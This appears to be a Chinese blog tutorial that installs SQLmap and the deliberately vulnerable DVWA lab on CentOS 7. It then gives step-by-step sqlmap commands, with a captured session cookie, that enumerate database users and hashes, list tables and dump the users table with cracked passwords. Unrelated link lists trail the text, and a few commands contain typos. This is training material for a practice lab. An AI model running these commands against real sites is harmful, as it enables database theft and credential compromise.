CentOS 7 通过SQLmap进行SQL注入
安装SQLmap: IP:192.168.94.11
渗透测试演练系统DVWA: IP:192.168.94.111
通过SQLmap检测SQL注入漏洞 :
1.安装SQLmap漏洞查看工具
2.安装渗透测试演练系统DVWA
3.使用SQLmap进行sql注入并获得后台管理员adnim帐号和密码
sql注入概述:
所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令
它是利用现有应用程序,可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库
比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击
比如 :12306.cn 帐号和密码泄露
什么是SQLmap?
SQLmap是一款用来检测与利用SQL注入漏洞的免费开源工具,有一个非常棒的特性,即对检测与利用的自动化处理(数据库指纹、访问底层文件系统、执行命令)
官方网站下载 : http://sqlmap.org/

安装sqlmap
# 首先安装python
[root@sqlmap ~]# yum -y install python
[root@sqlmap ~]# python -V
Python 2.7. # sqlmap 的安装比较简单,把源码下载下来然后上传到linux
[root@sqlmap ~]# unzip master.zip -d /usr/local/sqlmap
[root@sqlmap ~]# cd /usr/local/sqlmap/
[root@sqlmap sqlmap]# ls
doc lib plugins README.md sqlmapapi.py sqlmap.py thirdparty udf waf
extra LICENSE procs shell sqlmap.conf tamper txt vim-master xml
[root@sqlmap sqlmap]# ./sqlmap.py
# 设置环境变量
[root@sqlmap sqlmap]# vim /etc/profile
alias sqlmap='python /usr/local/sqlmap/sqlmap.py'
[root@sqlmap sqlmap]# source /etc/profile
DVWA (Dam Vulnerable Web Application)DVWA是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序。包含了SQL注入、XSS、盲注等常见的一些安全漏洞
官方网站:链接地址:http://www.dvwa.co.uk 网站是英国的 ,有时候访问外国的网站可能会打不开
安装渗透测试演练系统DVWA

快速部署DVWA渗透测试环境 , 搭建一个安全系数较低的网站
[root@dvwa ~]# yum install -y httpd mysql-server mysql php php-mysql php-gd
[root@dvwa ~]# systemctl start httpd
[root@dvwa ~]# systemctl start mariadb
php-gd库:gd库是php处理图形的扩展库,gd库提供了一系列用来处理图片的API,使用GD库可以处理图片,或者生成图片。 在网站上GD库通常用来生成缩略图或者用来对图片加水印或者对网站数据生成报表及验证码
测试LAMP环境
[root@dvwa ~]# vim /var/www/html/.php
<?php phpinfo(); ?>

配置mysql数据root用户密码
[root@dvwa ~]# mysqladmin -u root password ""
[root@dvwa ~]# mysql -u root -p123456
# 将下载的dvwa渗透系统代码上传到Linux上 ,并解压到网页根目录下
[root@dvwa ~]# unzip DVWA-master.zip -d /var/www/html/
[root@dvwa ~]# ls /var/www/html/
.php DVWA-master
[root@dvwa ~]# chown -R apache.apache /var/www/html/DVWA-master/
# 编辑/dvwa/config/config.inc.php , 配置数据库信息 ,user和password是MySQL的用户名和密码
# cp配置文件模板
[root@dvwa ~]# cp /var/www/html/DVWA-master/config/config.inc.php{.dist,}
[root@dvwa ~]# vim /var/www/html/DVWA-master/config/config.inc.php
$_DVWA[ 'db_server' ] = '127.0.0.1';
$_DVWA[ 'db_database' ] = 'dvwa';
$_DVWA[ 'db_user' ] = 'root';
$_DVWA[ 'db_password' ] = ''; # 修改为mysql的root密码
部署DVWA网站系统
在浏览器中输入:http://192.168.94.111/DVWA-master/setup.php

解决环境问题
[root@dvwa ~]# vim /etc/php.ini
# allow_url_include = Off 把Off改为On
[root@dvwa ~]# systemctl restart httpd
刷新页面

reCAPTCHA概述:
CMU设计了一个名叫reCAPTCHA的强大系统,让他们的电脑去向人类求助。具体做法是:将OCR软件无法识别的文字扫描图传给世界各大网站,用以替换原来的验证码图片;那些网站的用户在正确识别出这些文字之后,其答案便会被传回CMU

CAPTCHA:验证码
哪怎么获取验证码呢?
[root@dvwa ~]# vim /var/www/html/DVWA-master/config/config.inc.php
# You'll need to generate your own keys at: https://www.google.com/recaptcha/admin/create # 需要去 https://www.google.com/recaptcha 注册
$_DVWA[ 'recaptcha_public_key' ] = '';
$_DVWA[ 'recaptcha_private_key' ] = '';
recaptcha 的首页



[root@dvwa ~]# vim /var/www/html/DVWA-master/config/config.inc.php $_DVWA[ 'recaptcha_public_key' ] = '6LdDSWgUAAAAAH8te4z-0PhAD0AobWyGzBJUBOle';
$_DVWA[ 'recaptcha_private_key' ] = '6LdDSWgUAAAAABd7U8XHHSYuB5LnSfnpZ7B90jaW';
[root@dvwa ~]# systemctl restart httpd
刷新浏览器


后期登录:
http://192.168.94.111/DVWA-master/login.php
dvwa的登录界面的默认用户名和密码为admin和password
到这DVMA就部署完了
接下来就开始SQL注入了
SQLmap探测sql注入漏洞 :
1.枚举登录MYSQL数据的用户名与密码
2.枚举所有数据库
3.枚举指定数据库的数据表
4.枚举指定数据表中的所有用户名与密码
语法:SQLmap命令选项被归类为目标(Target)选项、请求(Request)选项、优化、注入、检测、技巧(Techniques)、指纹、枚举等
使用SQLmap之前我们得到需要当前会话cookies等信息,用来在渗透过程中维持连接状态,这里使用Firefox中名为“TamperData”的插件获取
Tamper Data是一个用于跟踪和修改http/https请求和POST参数的扩展
为方便演示,我们将DVWA安全等级设置为low


输入账号密码登录


可以抓到当前会话的cookie及提及表单的用户admin和密码password

找到sql注入点
接下来以火狐浏览器登录:http://192.168.1.63/DVWA-1.9/index.php
进入页面的“SQL Injection”部分,输入任意值并提交。可以看到get请求的ID参数如下:

http://192.168.94.111/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#

这里有提交sql语句的地方,所以就是我们的一个sql注入点 , 因此该页面就是我们的目标页面
获取当前页面的cookie信息 :

cookie的值抓到了
接下来该轮到SQLmap登场了
[root@sqlmap ~]# sqlmap -u "http://192.168.94.111/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie='security=low; PHPSESSID=36khgjg1m9mdr2qm0uk0st9960' -b --current-db --current-user
使用选项:
1、--cookie : 设置我们的cookie值“将DVWA安全等级从high设置为low”
2、-u : 指定目标URL,syql注入点
3、-b : 获取DBMS banner (DBMS:Database Management System 数据库管理系统)
4、--current-db : 获取当前数据库
5、--current-user :获取当前用户
中间会遇到几个选项,一路选择y就可以了

结果如下 :

1.使用命令用来枚举所有登录msyql数据库的用户名和密码hash值,后期可以对密码hash进行破解,生成明文密码
2.枚举系统中所有的数据库名
3.枚举dvwa数据表
4.获取dvwa库中users表的所有列名字
5.提取user表中的用户名与密码等信息。将用户与密码表中的所有用户名与密码dump出来
cookie 和 sql注入点永远不变
1 :
[root@sqlmap ~]# sqlmap -u "http://192.168.94.111/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie='security=low; PHPSESSID=36khgjg1m9mdr2qm0uk0st9960' --string="Surname" --users --password
使用选项:
1、--string : 当查询可用时用来匹配页面中的字符串
2、--users : 枚举DBMS用户
3、--password : 枚举DBMS用户密码hash

一路小y加回车就行
因为密码太简单 , 所以被秒解

到现在为止我们已经知道,当前数据库是mariadb 5.5.56, 登录mysql的root密码为:123456
2 :
[root@sqlmap ~]# sqlmap -u "http://192.168.94.111/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie='security=low; PHPSESSID=36khgjg1m9mdr2qm0uk0st9960' --dbs
使用选项:
--dbs: 枚举DBMS中的所有数据库

3 :
[root@sqlmap ~]# sqlmap -u "http://192.168.94.111/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie='security=low; PHPSESSID=36khgjg1m9mdr2qm0uk0st9960' -D dvwa --tables
使用选项:
1、-D : 要枚举的DBMS数据库
2、--tables : 枚举DBMS数据库中的数据表

4 :
[root@sqlmap ~]# sqlmap -u "http://192.168.94.111/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie='security=low; PHPSESSID=36khgjg1m9mdr2qm0uk0st9960' D dvwa -T users --columns
使用选项:
-T : 要枚举的DBMS数据库表
--columns : 枚举DBMS数据库表中的所有列

拖库 :
提取user表中的用户名与密码等信息。将用户与密码表中的所有用户名与密码dump出来
[root@sqlmap ~]# sqlmap -u "http://192.168.94.111/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie='security=low; PHPSESSID=36khgjg1m9mdr2qm0uk0st9960' -D dvwa -T users -C user,password --dump
使用选项:
-T : 要枚举的DBMS数据表
-C: 要枚举的DBMS数据表中的列
--dump : 转储DBMS数据表项
SQLmap会提问是否破解密码,按回车确认

尽管我们用的数据库中密码是经过md5加密的,但是sqlmap可以导出sql数据,帮你解析成明文密码
查看导出的数据 :
[root@sqlmap ~]# cat /root/.sqlmap/output/192.168.94.111/dump/dvwa/users.csv
user,password
,8d3533d75ae2c3966d7e0d4fcc69216b (charley)
admin,5f4dcc3b5aa765d61d8327deb882cf99 (password)
gordonb,e99a18c428cb38d5f260853678922e03 (abc123)
pablo,0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)
smithy,5f4dcc3b5aa765d61d8327deb882cf99 (password)
到这我们就利用SQLmap渗透到一个有漏洞的网站 , 并获得了后台管理员admin的账号和密码
CentOS 7 通过SQLmap进行SQL注入的更多相关文章
- 结合sqlmap进行sql注入过程
结合sqlmap进行sql注入:(-r后面是通过burp suite抓出来的请求包:-p后面是注入点,即该请求里携带的某个参数) Get请求的注入: ./sqlmap.py -r rss_test.t ...
- sqlmap查找SQL注入漏洞入门
1.安装sqlmap sqlmap是一款非常强大的开源sql自动化注入工具,可以用来检测和利用sql注入漏洞.注意:sqlmap只是用来检测和利用sql注入点的,使用前请先使用扫描工具扫出sql注入点 ...
- sqlmap检测sql注入漏洞
sqlmap是一款非常强大的开源sql自动化注入工具,可以用来检测和利用sql注入漏洞.它由python语言开发而成,因此运行需要安装python环境. 官网:http://sqlmap.org/ 乌 ...
- 使用sqlmap执行SQL注入攻击
sqlmap是开源的SQL注入自动攻击工具,它可以自动的探测SQL注入点并且进一步控制网站的数据库. Kali Linux默认安装了这个工具. 找到潜在的攻击目标 第一步是找到有SQL注入漏洞的网站. ...
- kali之使用sqlmap进行sql注入
sqlmap简介 sqlmap支持五种不同的注入模式: 1.基于布尔的盲注,即可以根据返回页面判断条件真假的注入. 2.基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是 ...
- Burosuite抓包Sqlmap学习Sql注入
在sqlmap中加入--proyxy参数: --proxy "http://127.0.0.1:8080" 如下图所示: 回车以后sqlmap会自动抓到数据包: 我们选择向前(fo ...
- 使用SQLMAP对网站和数据库进行SQL注入攻击
from:http://www.blackmoreops.com/2014/05/07/use-sqlmap-sql-injection-hack-website-database/ 0x00 背景介 ...
- Kali Linux Web 渗透测试视频教程—第十一课-扫描、sql注入、上传绕过
Kali Linux Web 渗透测试视频教程—第十一课-扫描.sql注入.上传绕过 文/玄魂 原文链接:http://www.xuanhun521.com/Blog/2014/10/25/kali- ...
- 宽字节SQL注入
1.联想lelink站 例1, 联想lelink站user参数存在宽字节SQL注入 提交,user=wctest%df’ and 1=2%23 结果,出现了”運”字,如图:
随机推荐
- 对世界首款“人工智能”ERP系统HUE的初步了解 - AI ERP - WAP - 万革始
偶然的机会,刚好在查找机器人王国[奇妙的餐厅]的时候,看到开发[光的王国],[奇妙的宾馆],[奇妙的餐厅]等豪斯登堡集团在3月17日采用了这个传说中的世界首款人工智能ERP系统AI WORKS的下面4 ...
- Ubuntu 16.10 server 相关
1)安装图形化界面 sudo apt-get install xinit sudo apt-get install gnome 2)启用root账号 ① sudo passwd root ② 修改/e ...
- SpringBoot系统列 1 - HelloWorld!
学习SpringBoot系统列之HelloWorld! 1.新建一个Maven项目 2.添加POM配置 <parent> <groupId>org.springframewor ...
- springboot2.x版本整合redis(单机/集群)(使用lettuce)
在springboot1.x系列中,其中使用的是jedis,但是到了springboot2.x其中使用的是Lettuce. 此处springboot2.x,所以使用的是Lettuce.关于jedis跟 ...
- js上传
有时候需要显示进度,这时候就需要做一些切割,具体上传代码如下: <!DOCTYPE HTML> <html lang="en-US"> <head&g ...
- Inside The C++ Object Model(四)
============================================================================4-1. Member 的各种调用方式静态成员函 ...
- PowerBI与Visio
前言 如何在Power BI中使用Visio, 刚好最近微软推出了适用于Power BI 的 Visio自定义可视化对象预览,分享给大家. 我们先看一下效果: 通过自定义可视化对象,将Visio ...
- CXF Spring开发WebService,基于SOAP和REST方式
版本CXF2.6.9 添加的包文件 这个版本的不可在Tomcat7上运行,会出错. 配置文件 applicationContext.xml <?xml version="1.0&quo ...
- js中 变量的解构赋值
es6新特性, 提取数组或对象中的值,按照对应位置, 为变量赋值. let [a, b, c] = [1, 2, 3]; 交换变量的值变得容易 let x = 1; let y = 2; [x, y] ...
- jquery验证规则
<!DOCTYPE html><html><head><meta charset="utf-8"><title>菜鸟教程 ...